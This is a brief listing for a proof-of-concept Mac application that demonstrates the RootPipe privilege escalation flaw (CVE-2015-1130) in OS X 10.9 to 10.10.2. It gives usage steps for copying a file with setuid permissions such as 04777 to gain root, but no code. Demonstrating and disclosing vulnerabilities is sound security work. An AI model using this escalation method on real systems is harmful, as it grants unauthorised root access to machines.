Root Pipe – This is a Proof-of-Concept Mac Application that demonstrates the RootPipe Privilege Escalation Vulnerability (CVE-2015-1130). this tool to create Hidden backdoor API to root privileges in Apple OS X.
Usage RootPipe demo :
To use, simply give a path to a file that you want to have escalated permissions, then provide the path where you want the file to be copied to with the escalated permissions, then provide your permissions in octal format (i.e. 04777), and (optionally) provide the file owner name and group
OS Support : Mac OS X 10.9 – Mac OS X 10.10.2
